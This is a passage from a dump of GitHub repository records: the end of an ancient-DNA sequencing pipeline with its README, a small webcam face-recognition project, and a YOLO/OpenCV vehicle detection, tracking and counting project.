\"*.stderr.txt\"\n files = os.listdir(seqprep_output)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.symlink(seqprep_output + \"/\" + name, sp_output_s + \"/\" + name)\n\n if not nopos:\n delfilelist = []\n # Delete barcode positive files\n if barcodespresent:\n delfilelist.append(rawreads + \"/bcpos\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n delfilelist.append(rawreads + \"/bcpos\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n\n delfilelist.append(bc_trim + \"/bcpos\" + rightnow + \".woBC_R1.fastq.gz\")\n delfilelist.append(bc_trim + \"/bcpos\" + rightnow + \".woBC_R2.fastq.gz\")\n delfilelist.append(bc_trim + \"/bcpos\" + rightnow + \".woBC_R1_unmatched.fastq.gz\")\n delfilelist.append(bc_trim + \"/bcpos\" + rightnow + \".woBC_R2_unmatched.fastq.gz\")\n delfilelist.append(seqprep_output + \"/bcpos\" + rightnow + \".F.fq.gz\")\n delfilelist.append(seqprep_output + \"/bcpos\" + rightnow + \".R.fq.gz\")\n delfilelist.append(seqprep_output + \"/bcpos\" + rightnow + \".M.fq.gz\")\n else:\n delfilelist.append(rawreads + \"/nobcpos\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n delfilelist.append(rawreads + \"/nobcpos\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n\n delfilelist.append(seqprep_output + \"/nobcpos\" + rightnow + \".F.fq.gz\")\n delfilelist.append(seqprep_output + \"/nobcpos\" + rightnow + \".R.fq.gz\")\n delfilelist.append(seqprep_output + \"/nobcpos\" + rightnow + \".M.fq.gz\")\n\n delfilelist.append(bc_trim + \"/nobcpos\" + rightnow + \".woBC_R1.fastq.gz\")\n delfilelist.append(bc_trim + \"/nobcpos\" + rightnow + \".woBC_R2.fastq.gz\")\n delfilelist.append(bc_trim + \"/nobcpos\" + rightnow + \".woBC_R1_unmatched.fastq.gz\")\n delfilelist.append(bc_trim + \"/nobcpos\" + rightnow + \".woBC_R2_unmatched.fastq.gz\")\n delfilelist.append(\"posdummy.txt\")\n\n logfile.close()\n cmdfile.close()\n print \"0_trim_barcodes complete.\"\n exit(0)\n" }, { "alpha_fraction": 0.778832733631134, "alphanum_fraction": 0.7835800051689148, "avg_line_length": 65.25926208496094, "blob_id": "53a7adf302d03f338bcc3a4c35b525c323168342", "content_id": "6d3a40dcbf26a35261ea0fbd13b073e96331caaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3583, "license_type": "no_license", "max_line_length": 1025, "num_lines": 54, "path": "/README.md", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "# batpipe\nNGS/aDNA data analysis pipeline for the Human Paleogenomics Lab at UCSC.\nBatpipe is the ancient DNA-focused Next-Generation Sequencing data analysis pipeline developed by and used at Lars Fehren-Schmitz’s Human Paleogenomics Lab at the University of California Santa Cruz. The pipeline was originally developed as a series of bash scripts by Kelly Harkins and Pete Heintzman, and has been converted to Python, extended and is currently maintained by Matthew Jobin. \nThe pipeline can be run in separate stages by invoking each of the scripts 0 through 4 individually. Alternatively, the batpipe.py script can be invoked to run the desired scripts in turn. Note that scripts 2a through 4 normally require scripts 0 through 1 to already have been run in the working directory.\nThe pipeline proceeds through trimming barcodes to mapping the resultant sequences to desired references, after which two tests for contamination on the mitochondria may be run, followed by metagenome analysis and an assessment of post-mortem damage. Many of the functions of the pipeline involve the invocation of other, separate software programs, for which a list is provided in the wiki link below. It is important for the new user to compile and/or install these programs and verify that they are running before using Batpipe. Where possible, Batpipe assumes that external software is located within the search path of the local machine, so it is thus required for the user to make sure this is true for this software on the machine he or she is using. Where external software cannot be placed in a path, a header variable is put in place in order to ensure proper invocation. The user may either install that software in the default location specified (i.e. /data/scripts) or change the location using the command line.\nThe user may set the working directory and locations of the input files. Input is assumed to be in FASTQ format. There are also default locations for intermediate files such as files with barcodes trimmed. The user may change these on the command line, or edit the code to change the default.\n\nFor full details regarding the operation of the pipeline, please consult: https://sites.google.com/a/ucsc.edu/hpglab-wiki/\n\nPlease note! Batpipe integrates numerous software programs written neither by me nor by the UCSC Human Paleogenomics Lab. These programs must be installed and working on your system for batpipe to operate. Here follows a list of the needed software:\n\nbc_bin_clip: https://github.com/svohr/bc_bin_clip\n\nSeqPrep2: https://github.com/jeizenga/SeqPrep2\n\nsamtools: https://github.com/samtools/\n\nprinseq-lite: http://prinseq.sourceforge.net\n\ncombinePairedEndReads.pl: http://seqanswers.com/forums/showthread.php?t=10591\n\nBWA: https://github.com/lh3/bwa\n\nDEDUP:\n\nmapDamage: https://github.com/ginolhac/mapDamage\n\nbamUtils: https://genome.sph.umich.edu/wiki/BamUtil\n\nfastq_to_fasta: http://hannonlab.cshl.edu/fastx_toolkit/\n\nMEGAN-CE, DIAMOND and MALT: https://ab.inf.uni-tuebingen.de/software/\n\nMIA: https://github.com/mpieva/mapping-iterative-assembler\n\nry_compute.py: https://github.com/pontussk/ry_compute\n\nR: https://cran.r-project.org\n\nKraken: http://ccb.jhu.edu/software/kraken/\n\nKrona: https://github.com/marbl/Krona/wiki/KronaTools\n\nContamMix: http://life.umd.edu/biology/plfj/\n\nMafft: https://mafft.cbrc.jp/alignment/software/\n\nMetaphlan: https://bitbucket.org/biobakery/metaphlan2\n\nPMDTools: https://github.com/pontussk/PMDtools\n\nBIOM: http://biom-format.org\n\nBowTie2: http://bowtie-bio.sourceforge.net/bowtie2/index.shtml " } ]
10
KoshikawaShinya/face-recognition
https://github.com/KoshikawaShinya/face-recognition
b627aa7cf75b61524ba7e90ef908349837f0588e
80eaed1cd68bf85f5dda07596b1e960ffeb70917
e804ffb4e120ad466e9f670b17fd1f27ebc5ae53
refs/heads/main
2023-05-31T22:29:41.947304
2021-06-14T08:35:15
2021-06-14T08:35:15
376,417,753
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.4752389192581177, "alphanum_fraction": 0.5386620163917542, "avg_line_length": 27.09756088256836, "blob_id": "4d67c0e553f842365d0ec610bbe9db4db30712af", "content_id": "c54bb60f4b154eb95ea3fea540b0d62bbec6a1c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1151, "license_type": "no_license", "max_line_length": 58, "num_lines": 41, "path": "/test/model.py", "repo_name": "KoshikawaShinya/face-recognition", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass EaseClassificationModel(nn.Module):\n\n def __init__(self, H, W):\n super(EaseClassificationModel, self).__init__()\n\n self.conv1 = nn.Conv2d(3, 64, 3, 1, 1)\n self.conv2 = nn.Conv2d(64, 64, 3, 1, 1)\n self.pool1 = nn.AvgPool2d(kernel_size=2, stride=2)\n self.conv3 = nn.Conv2d(64, 128, 3, 1, 1)\n self.conv4 = nn.Conv2d(128, 128, 3, 1, 1)\n self.pool2 = nn.AvgPool2d(kernel_size=2, stride=2)\n self.flatten = nn.Flatten()\n \n self.fc1 = nn.Linear(128 * (H//4) * (W//4), 64)\n self.fc2 = nn.Linear(64, 1)\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = self.pool1(x)\n\n x = F.relu(self.conv3(x))\n x = F.relu(self.conv4(x))\n x = self.pool2(x)\n\n x = self.flatten(x)\n x = F.relu(self.fc1(x))\n x = self.fc2(x)\n x = F.softmax(x, dim=1)\n\n return x\n\nif __name__ == '__main__': \n model = EaseClassificationModel()\n img = torch.randn(1, 3, 64, 64).float()\n output = model(img)\n print(output)" }, { "alpha_fraction": 0.6301938891410828, "alphanum_fraction": 0.6689750552177429, "avg_line_length": 20.264705657958984, "blob_id": "1ab35c070765c2e67af79ff8980a109ae7480d4d", "content_id": "5b38444d7413e5774573025c9b301428b5f12594", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 722, "license_type": "no_license", "max_line_length": 61, "num_lines": 34, "path": "/test/test.py", "repo_name": "KoshikawaShinya/face-recognition", "src_encoding": "UTF-8", "text": "import cv2\nimport torch\nimport time\nimport numpy as np\nfrom efficientnet_pytorch import EfficientNet\nfrom model import EaseClassificationModel\n\nH = 64\nW = 64\n\ncap = cv2.VideoCapture(0)\nmodel_1 = EfficientNet.from_pretrained('efficientnet-b3')\nmodel_2 = EaseClassificationModel(H, W)\n\nctime = 0\nptime = 0\n\nwhile True:\n success, img = cap.read()\n #print(img.shape)\n time.sleep(1e-3)\n imgRe = cv2.resize(img, (H, W))\n imgRGB = cv2.cvtColor(imgRe, cv2.COLOR_BGR2RGB)\n imgRGB = imgRGB.reshape(1, H, W, 3).transpose(0, 3, 1, 2)\n imgRGB = torch.tensor(imgRGB).float()\n output = model_2(imgRGB)\n print(output)\n\n cv2.imshow(\"Image\",img)\n key = cv2.waitKey(1)\n\n\n if key == ord('q'):\n break" }, { "alpha_fraction": 0.7735849022865295, "alphanum_fraction": 0.7924528121948242, "avg_line_length": 25.5, "blob_id": "4d288c3536dcfb2ef33997a8c1f69adee5163d75", "content_id": "4c9136ba21baa7e3b1e786dbb8288056f72dfc8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 53, "license_type": "no_license", "max_line_length": 33, "num_lines": 2, "path": "/README.md", "repo_name": "KoshikawaShinya/face-recognition", "src_encoding": "UTF-8", "text": "# face-recognition\nUse 2 images to recognition face.\n" }, { "alpha_fraction": 0.5735180974006653, "alphanum_fraction": 0.6027713418006897, "avg_line_length": 24, "blob_id": "75334ff015dff4e8bdf580367a4de97298d5a569", "content_id": "87f610bf8fe075775dbbe8177203de322f48ab6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1377, "license_type": "no_license", "max_line_length": 93, "num_lines": 52, "path": "/Ryo.py", "repo_name": "KoshikawaShinya/face-recognition", "src_encoding": "UTF-8", "text": "import cv2 \nimport dlib\nimport matplotlib.pyplot as plt\nfrom PIL import ImageGrab\nimport os\n\ncap = cv2.VideoCapture(0)\nwCam,hCam = 1280,800\n\nname = input(\"名前を入力してね:\")\npath = \"../face/test.txt\"\ni=0\nf1 = open(path)\ndata = f1.readlines()\n\nfor datam in data:\n data[i] = datam.strip()\n num = int(data[0])\n i+=1\nprint(int(num))\n\nwhile True:\n success, img = cap.read()\n img = cv2.flip(img,1)\n\n if success == False:\n cap.release()\n cv2.destroyAllWindows()\n break\n\n detector = dlib.get_frontal_face_detector()\n # RGB変換 (opencv形式からskimage形式に変換)\n img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # frontal_face_detectorクラスは矩形, スコア, サブ検出器の結果を返す\n dets, scores, idx = detector.run(img_rgb, 0)\n for det in dets:\n cv2.rectangle(img, (det.left(), det.top()), (det.right(), det.bottom()), (0, 0, 255))\n imgC = img[det.top()+2 : det.bottom() , det.left()+2 : det.right()]\n cv2.imwrite('./face/'+name+str(num)+'.jpg',imgC)\n #ImageGrab.grab(img_cut.save(str(num)+\"PIL_capture_clip.png\")\n num+=1\n\n cv2.imshow(\"Image\",img)\n k = cv2.waitKey(1) & 0xff\n if k == ord('q'):\n cap.release()\n cv2.destroyAllWindows()\n break\nwith open(path,mode='w') as f:\n f.write(\"{}\".format(num))\n f.write(\"\\n\")\nf1.close()" } ]
4
Mhaiyang/sr
https://github.com/Mhaiyang/sr
8f500eabdb7c95f6786f6d2b92c821c63bb2ffdb
3ba9d2eb6c4d522608318baa3d0dcbc9d1d7a010
da03d995888f8b89e5e69216d283ccdc9dfcb91d
refs/heads/master
2020-05-16T22:27:01.256741
2019-04-27T08:28:38
2019-04-27T08:28:38
183,336,600
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.43421053886413574, "alphanum_fraction": 0.5131579041481018, "avg_line_length": 10.769230842590332, "blob_id": "9759cbe2baf0c1bc5bf1448df0ab976fde5368c6", "content_id": "71f1fc6a6787f37be09bcec69b9552696e8dfd7c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 152, "license_type": "permissive", "max_line_length": 27, "num_lines": 13, "path": "/debug.py", "repo_name": "Mhaiyang/sr", "src_encoding": "UTF-8", "text": "\"\"\"\n @Time : 204/26/19 15:30\n @Author : TaylorMei\n @Email : [email protected]\n \n @Project : sr\n @File : debug.py\n @Function:\n \n\"\"\"\na = 1\nx = [a]\nprint(x)" }, { "alpha_fraction": 0.6270080208778381, "alphanum_fraction": 0.6716867685317993, "avg_line_length": 43.24444580078125, "blob_id": "e0c7de5dde3ccdde9c3e931c970dcb8858adb3de", "content_id": "b310a091972b4f1511c43f87f1b87b1c01627039", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1992, "license_type": "permissive", "max_line_length": 195, "num_lines": 45, "path": "/demo.sh", "repo_name": "Mhaiyang/sr", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n#MSRN for train\ncd Train/\n\n# MSRN x2 LR: 48 * 48 HR: 96 * 96\npython3 main.py --template MSRN --save MSRN_X2 --scale 2 --reset --save_results --patch_size 96 --ext sep\n\npython3 main.py --template MHY1 --save MHY1_X2 --scale 2 --reset --save_results --patch_size 96 --ext sep\n\n\n# MSRN x3 LR: 48 * 48 HR: 144 * 144\npython3 main.py --template MSRN --save MSRN_X3 --scale 3 --reset --save_results --patch_size 144 --ext sep_reset\n\n# MSRN x4 LR: 48 * 48 HR: 192 * 192\npython3 main.py --template MSRN --save MSRN_X4 --scale 4 --reset --save_results --patch_size 192 --ext sep_reset\n\n\n\n\nMSRN for test\ncd Test/code/\n\n\n#MSRN x2\npython3 main.py --data_test MyImage --scale 2 --model MSRN --pre_train ../model/MSRN_x2.pt --test_only --save_results --chop --save \"MSRN\" --testpath ../LR/LRBI --testset Set5\n\npython3 main.py --data_test MyImage --scale 2 --model MHY1 --pre_train ../model/MHY1_x2.pt --test_only --save_results --chop --save \"MHY1\" --testpath ../LR/LRBI --testset B100\n\n\n#MSRN+ x2\npython main.py --data_test MyImage --scale 2 --model MSRN --pre_train ../model/MSRN_x2.pt --test_only --save_results --chop --self_ensemble --save \"MSRN_plus\" --testpath ../LR/LRBI --testset Set5\n\n\n#MSRN x3\npython main.py --data_test MyImage --scale 3 --model MSRN --pre_train ../model/MSRN_x3.pt --test_only --save_results --chop --save \"MSRN\" --testpath ../LR/LRBI --testset Set5\n\n#MSRN+ x3\npython main.py --data_test MyImage --scale 3 --model MSRN --pre_train ../model/MSRN_x3.pt --test_only --save_results --chop --self_ensemble --save \"MSRN_plus\" --testpath ../LR/LRBI --testset Set5\n\n\n#MSRN x4\npython main.py --data_test MyImage --scale 4 --model MSRN --pre_train ../model/MSRN_x4.pt --test_only --save_results --chop --save \"MSRN\" --testpath ../LR/LRBI --testset Set5\n\n#MSRN+ x4\npython main.py --data_test MyImage --scale 4 --model MSRN --pre_train ../model/MSRN_x4.pt --test_only --save_results --chop --self_ensemble --save \"MSRN_plus\" --testpath ../LR/LRBI --testset Set5\n\n" } ]
2
benzimraaa/Vehicle-Counter
https://github.com/benzimraaa/Vehicle-Counter
b90e65fdc53bdd1d2e136824d122b2b1948d073c
492ffc313c59b89675f5bf4b4b1ed193daad4e19
1484c21619823b70384277729d4e579ee341747d
refs/heads/main
2023-03-01T13:17:34.490369
2021-02-08T17:24:33
2021-02-08T17:24:33
337,132,312
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.5202922224998474, "alphanum_fraction": 0.5275974273681641, "avg_line_length": 33.20000076293945, "blob_id": "21370569ba8fe6f8ae69b6e4e7a22798611d3579", "content_id": "96c8b6231780e98bd56a86c775573fd3a102fb0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1232, "license_type": "no_license", "max_line_length": 84, "num_lines": 35, "path": "/main.py", "repo_name": "benzimraaa/Vehicle-Counter", "src_encoding": "UTF-8", "text": "import detection\r\nimport processing\r\nimport tracking\r\nfrom IO import *\r\n\r\n\r\ndef pipeline(in_queue, out_queue, skip_frames=10, length=0, crop=False, size=None):\r\n bar = tqdm(total=250, desc='Main Process')\r\n c = 0\r\n while True:\r\n if not in_queue.empty() and not out_queue.full():\r\n frame = in_queue.get()\r\n if crop:\r\n original_frame = frame\r\n frame = crop_frame(frame, size)\r\n if not c % skip_frames:\r\n vehicles = detection.vehicle_detection(frame)\r\n vehicles = processing.process_New_detections(vehicles)\r\n tracking.track_objects_init(frame, vehicles)\r\n\r\n else:\r\n vehicles = tracking.update_trackers(frame)\r\n processing.update_objects(vehicles)\r\n\r\n if crop:\r\n draw_bounding_box(original_frame, vehicles, c, crop=crop, size=size)\r\n out_queue.put(original_frame)\r\n else:\r\n draw_bounding_box(frame, vehicles, c)\r\n out_queue.put(frame)\r\n c += 1\r\n bar.update(1)\r\n if c == length:\r\n print('\\nMain process terminated')\r\n return\r\n" }, { "alpha_fraction": 0.4611632227897644, "alphanum_fraction": 0.5001876354217529, "avg_line_length": 30.901233673095703, "blob_id": "dfa09f93ae5dd1eee53802c31aea3f8af50e3d40", "content_id": "960c66f945aa7712bced0aae515b6c334f712c05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2665, "license_type": "no_license", "max_line_length": 112, "num_lines": 81, "path": "/IO.py", "repo_name": "benzimraaa/Vehicle-Counter", "src_encoding": "UTF-8", "text": "import cv2\r\n\r\nfrom tqdm import tqdm\r\n\r\n\r\ndef crop_frame(frame, cut):\r\n return frame[int(cut[1]):int(cut[1] + cut[3]), int(cut[0]):int(cut[0] + cut[2])]\r\n\r\n\r\ndef paint_roi(frame, cut):\r\n roi = frame[int(cut[1]):int(cut[1] + cut[3]), int(cut[0]):int(cut[0] + cut[2])]\r\n roi[:, :, 0] = 0\r\n frame[int(cut[1]):int(cut[1] + cut[3]), int(cut[0]):int(cut[0] + cut[2])] = roi\r\n\r\n\r\ndef read(file, queue, length, start_from=0):\r\n bar = tqdm(total=length, desc='Reader Process')\r\n c = 0\r\n reader = cv2.VideoCapture(file)\r\n reader.set(1, start_from)\r\n while True:\r\n if not queue.full():\r\n ok, frame = reader.read()\r\n if not ok:\r\n return\r\n queue.put(frame)\r\n c += 1\r\n bar.update(1)\r\n if c == length:\r\n print('\\nReader process terminated')\r\n return\r\n\r\n\r\ndef write(queue, length=0, screen=True, winName='', file=None, size=(640, 480), fps=10, screen_size=(800, 600)):\r\n if not screen and not file:\r\n raise ValueError('ERROR: No output option set')\r\n if file:\r\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\r\n out = cv2.VideoWriter(file, fourcc, fps, size)\r\n if screen:\r\n cv2.namedWindow(winName, cv2.WINDOW_NORMAL)\r\n cv2.resizeWindow(winName, *screen_size)\r\n bar = tqdm(total=length, desc='Writer Process')\r\n c = 0\r\n while True:\r\n if not queue.empty():\r\n frame = queue.get()\r\n if screen:\r\n frame = cv2.resize(frame, screen_size)\r\n cv2.imshow(winName, frame)\r\n cv2.waitKey(1000 // fps)\r\n if file:\r\n frame = cv2.resize(frame, size)\r\n out.write(frame)\r\n c += 1\r\n bar.update(1)\r\n if c == length:\r\n out.release()\r\n print('\\nWriter process terminated')\r\n return\r\n\r\n\r\ndef draw_bounding_box(frame, rectangles, num, crop=False, size=None):\r\n if crop:\r\n paint_roi(frame, size)\r\n for object_, id_ in rectangles:\r\n if object_:\r\n a, b, c, d = object_\r\n if crop:\r\n a += size[0]\r\n b += size[1]\r\n cv2.rectangle(frame, (a, b, c, d), [100, 255, 0], 2)\r\n cv2.putText(frame, str(id_), (a - 10, b - 10),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (32, 20, 150), 1)\r\n cv2.putText(frame, str(num), (0, frame.shape[0] - 15),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 255), 2)\r\n\r\n# q = Queue(maxsize=100)\r\n# t = threading.Thread(target=read, args=('V1.mp4', q))\r\n# t.start()\r\n# write(q, fps=FPS)\r\n" }, { "alpha_fraction": 0.7819548845291138, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 32.25, "blob_id": "b8ad03435d3f4cbedc5cf77f35ab16e94948c58d", "content_id": "28936df33b1fb6e675fc7142d9175e41868b0379", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 133, "license_type": "no_license", "max_line_length": 72, "num_lines": 4, "path": "/README.md", "repo_name": "benzimraaa/Vehicle-Counter", "src_encoding": "UTF-8", "text": "# Vehicle-Counter\nVehicle Detection, Tracking and Counting\n\n![](https://github.com/benzimraaa/Vehicle-Counter/blob/main/result1.gif)\n" }, { "alpha_fraction": 0.5611353516578674, "alphanum_fraction": 0.5655021667480469, "avg_line_length": 20.899999618530273, "blob_id": "02cf8c38282b30fcf58550a640669ef75fbe9200", "content_id": "91e2930438fbf186807c3a07eed7be62135ebadc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 458, "license_type": "no_license", "max_line_length": 50, "num_lines": 20, "path": "/tracking.py", "repo_name": "benzimraaa/Vehicle-Counter", "src_encoding": "UTF-8", "text": "import cv2\r\n\r\ntrackers = []\r\n\r\n\r\ndef track_objects_init(frame, objects):\r\n trackers.clear()\r\n for box, id in objects:\r\n tracker = cv2.TrackerCSRT_create()\r\n tracker.init(frame, tuple(box))\r\n trackers.append((tracker, id))\r\n\r\n\r\ndef update_trackers(frame):\r\n ret = []\r\n for t, id in trackers:\r\n ok, b = t.update(frame)\r\n bbox = [int(i) for i in b] if ok else None\r\n ret.append((bbox, id))\r\n return ret\r\n" }, { "alpha_fraction": 0.5797738432884216, "alphanum_fraction": 0.5954774022102356, "avg_line_length": 28.037734985351562, "blob_id": "ad95483272030d6d48b1deb4d759233a36f0337a", "content_id": "e3c32cff17735920b47e75950480fe1992bde160", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1592, "license_type": "no_license", "max_line_length": 95, "num_lines": 53, "path": "/__init__.py", "repo_name": "benzimraaa/Vehicle-Counter", "src_encoding": "UTF-8", "text": "from multiprocessing import Process, Queue\r\nfrom time import sleep\r\n\r\nimport cv2\r\n\r\nfrom IO import read, write\r\nfrom main import pipeline\r\n\r\n\r\ndef get_parameters(input_path):\r\n v = cv2.VideoCapture(input_path)\r\n total_frames = int(v.get(cv2.CAP_PROP_FRAME_COUNT))\r\n _, frame = v.read()\r\n desc = 'Select a ROI and then press SPACE or ENTER button!'\r\n cut = cv2.selectROI(desc, frame, showCrosshair=False)\r\n v.release()\r\n cv2.destroyAllWindows()\r\n return total_frames, cut\r\n\r\n\r\ninput_path = 'V1.mp4'\r\noutput_path = 'result.avi'\r\nscreen_display = True\r\nlength = 400\r\ndebug = False\r\ncut = 0\r\n\r\nif __name__ == '__main__':\r\n total_frames, cut = get_parameters(input_path)\r\n if not length:\r\n length = total_frames\r\n\r\n winName = 'Vehicle Counter'\r\n\r\n first_Queue = Queue(maxsize=300)\r\n second_Queue = Queue(maxsize=300)\r\n p_read = Process(target=read, args=(input_path, first_Queue, length),\r\n kwargs={'start_from': 0})\r\n p_main = Process(target=pipeline, args=(first_Queue, second_Queue),\r\n kwargs={'length': length, 'crop': True, 'size': cut})\r\n p_write = Process(target=write, args=(second_Queue,),\r\n kwargs={'screen': screen_display, 'file': output_path,\r\n 'length': length, 'winName': winName, 'screen_size': (800, 600)})\r\n\r\n p_read.start()\r\n\r\n if not debug:\r\n p_main.start()\r\n sleep(7)\r\n p_write.start()\r\n else:\r\n p_write.start()\r\n pipeline(first_Queue, second_Queue, length=length, crop=True, size=cut)\r\n" }, { "alpha_fraction": 0.5198383331298828, "alphanum_fraction": 0.5554739236831665, "avg_line_length": 22.0884952545166, "blob_id": "e3d3c3fe305843b786063512febba6d3f3578513", "content_id": "a01de444541981498b14bc3d44938e65c85a30d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2722, "license_type": "no_license", "max_line_length": 77, "num_lines": 113, "path": "/processing.py", "repo_name": "benzimraaa/Vehicle-Counter", "src_encoding": "UTF-8", "text": "import cv2\r\nimport numpy as np\r\nfrom scipy.optimize import linear_sum_assignment\r\n\r\n\r\ndef show_bbox(bbox1, bbox2, win='test'):\r\n frame = np.zeros((800, 600, 3))\r\n for i, b in enumerate(bbox1):\r\n b = b[0]\r\n print(frame.shape, b)\r\n cv2.rectangle(frame, b, [100, 255, 0], 2)\r\n cv2.putText(frame, str(i), (b[0] - 10, b[1] - 10),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (32, 20, 150), 1)\r\n for i, b in enumerate(bbox2):\r\n cv2.rectangle(frame, b, [0, 255, 255], 2)\r\n cv2.putText(frame, str(i), (b[0] - 10, b[1] - 10),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 20, 250), 1)\r\n cv2.imshow(win, frame)\r\n cv2.waitKey()\r\n\r\n\r\nTHRESHOLD = 0.05\r\n\r\n\"\"\"\r\n# counter\r\n\r\n\r\n# New detections\r\n threshold of IOU\r\n objects new\r\n objects left\r\n\r\n\r\n\r\n# update objects:\r\n IOU intersection over union N x N\r\n linear assignment - hungarian algorithm\r\n\r\n\r\n\"\"\"\r\ncounter = 0\r\nobjects = []\r\n\r\n\r\ndef intersection(rect, other):\r\n # rect -> [left, top, width, height]\r\n dx = min(rect[0] + rect[2], other[0] + other[2]) - max(rect[0], other[0])\r\n dy = min(rect[1] + rect[3], other[1] + other[3]) - max(rect[1], other[1])\r\n if (dx >= 0) and (dy >= 0):\r\n return dx * dy\r\n else:\r\n return 0\r\n\r\n\r\ndef area(rect):\r\n return rect[2] * rect[3]\r\n\r\n\r\ndef IOU(rect, other, thresh=THRESHOLD):\r\n i = intersection(rect, other)\r\n val = i / (area(rect) + area(other) - i)\r\n return val if val > thresh else 0\r\n\r\n\r\ndef IOU_matrix(old_bbox, new_bbox):\r\n # show_bbox(old_bbox, new_bbox)\r\n N, M = len(new_bbox), len(old_bbox)\r\n mat = np.zeros((N, M))\r\n for i in range(N):\r\n for j in range(M):\r\n mat[i, j] = IOU(new_bbox[i], old_bbox[j][0])\r\n # print(mat)\r\n return mat\r\n\r\n\r\ndef get_new_objects(mat):\r\n n = np.where(~mat.any(axis=1))[0]\r\n return set(n)\r\n\r\n\r\ndef init(bboxs):\r\n global counter\r\n for i in bboxs:\r\n objects.append((i, counter))\r\n counter += 1\r\n return objects\r\n\r\n\r\ndef process_New_detections(detections):\r\n global counter, objects\r\n\r\n if not objects:\r\n return init(detections)\r\n\r\n matIOU = IOU_matrix(objects, detections)\r\n news = get_new_objects(matIOU)\r\n row_ind, col_ind = linear_sum_assignment(-matIOU)\r\n\r\n objects_updated = []\r\n for idx, i in enumerate(row_ind):\r\n if i in news:\r\n objects_updated.append((detections[i], counter))\r\n counter += 1\r\n else:\r\n objects_updated.append((detections[i], objects[col_ind[idx]][1]))\r\n objects = objects_updated\r\n objects.sort(key=lambda x: x[1])\r\n return objects\r\n\r\n\r\ndef update_objects(upobjs):\r\n global objects\r\n objects = upobjs\r\n" }, { "alpha_fraction": 0.6031163930892944, "alphanum_fraction": 0.6214482188224792, "avg_line_length": 27.486486434936523, "blob_id": "595fdf6483f40307d428f4ef5b624e0f6a4fe925", "content_id": "663dd872425cadd8d7e58a535ee6ba37620dda45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2182, "license_type": "no_license", "max_line_length": 97, "num_lines": 74, "path": "/detection.py", "repo_name": "benzimraaa/Vehicle-Counter", "src_encoding": "UTF-8", "text": "import cv2\r\nimport numpy as np\r\n\r\n# parameters\r\nourClasses = ['car', 'motorbike', 'bus', 'truck']\r\nconfThreshold = 0.45\r\nnmsThreshold = 0.50\r\ninpWidth = 416\r\ninpHeight = 416\r\n\r\n# Load names of classes and turn that into a list\r\nclassesFile = \"coco.names\"\r\n\r\nwith open(classesFile, 'rt') as f:\r\n classes = f.read().rstrip('\\n').split('\\n')\r\n\r\n# Model configuration\r\nmodelConf = 'yolov3.cfg'\r\nmodelWeights = 'yolov3.weights'\r\n\r\n# Set up the net\r\n\r\nnet = cv2.dnn.readNetFromDarknet(modelConf, modelWeights)\r\nnet.setPreferableBackend(cv2.dnn.DNN_BACKEND_OPENCV)\r\nnet.setPreferableTarget(cv2.dnn.DNN_TARGET_CPU)\r\n\r\n\r\ndef getOutputsNames(net):\r\n # Get the names of all the layers in the network\r\n layersNames = net.getLayerNames()\r\n\r\n # Get the names of the output layers, i.e. the layers with unconnected outputs\r\n return [layersNames[i[0] - 1] for i in net.getUnconnectedOutLayers()]\r\n\r\n\r\ndef postProcess(frame, outs):\r\n frameHeight = frame.shape[0]\r\n frameWidth = frame.shape[1]\r\n\r\n classIDs = []\r\n confidences = []\r\n boxes = []\r\n\r\n for out in outs:\r\n for detection in out:\r\n\r\n scores = detection[5:]\r\n classID = np.argmax(scores)\r\n confidence = scores[classID]\r\n\r\n if confidence > confThreshold and classes[int(classID)] in ourClasses:\r\n centerX = int(detection[0] * frameWidth)\r\n centerY = int(detection[1] * frameHeight)\r\n\r\n width = int(detection[2] * frameWidth)\r\n height = int(detection[3] * frameHeight)\r\n\r\n left = int(centerX - width / 2)\r\n top = int(centerY - height / 2)\r\n\r\n classIDs.append(classID)\r\n confidences.append(float(confidence))\r\n boxes.append([left, top, width, height])\r\n\r\n indices = cv2.dnn.NMSBoxes(boxes, confidences, confThreshold, nmsThreshold)\r\n\r\n return [boxes[idx[0]] for idx in indices]\r\n\r\n\r\ndef vehicle_detection(frame):\r\n blob = cv2.dnn.blobFromImage(frame, 1 / 255, (inpWidth, inpHeight), [0, 0, 0], 1, crop=False)\r\n net.setInput(blob)\r\n outs = net.forward(getOutputsNames(net))\r\n return postProcess(frame, 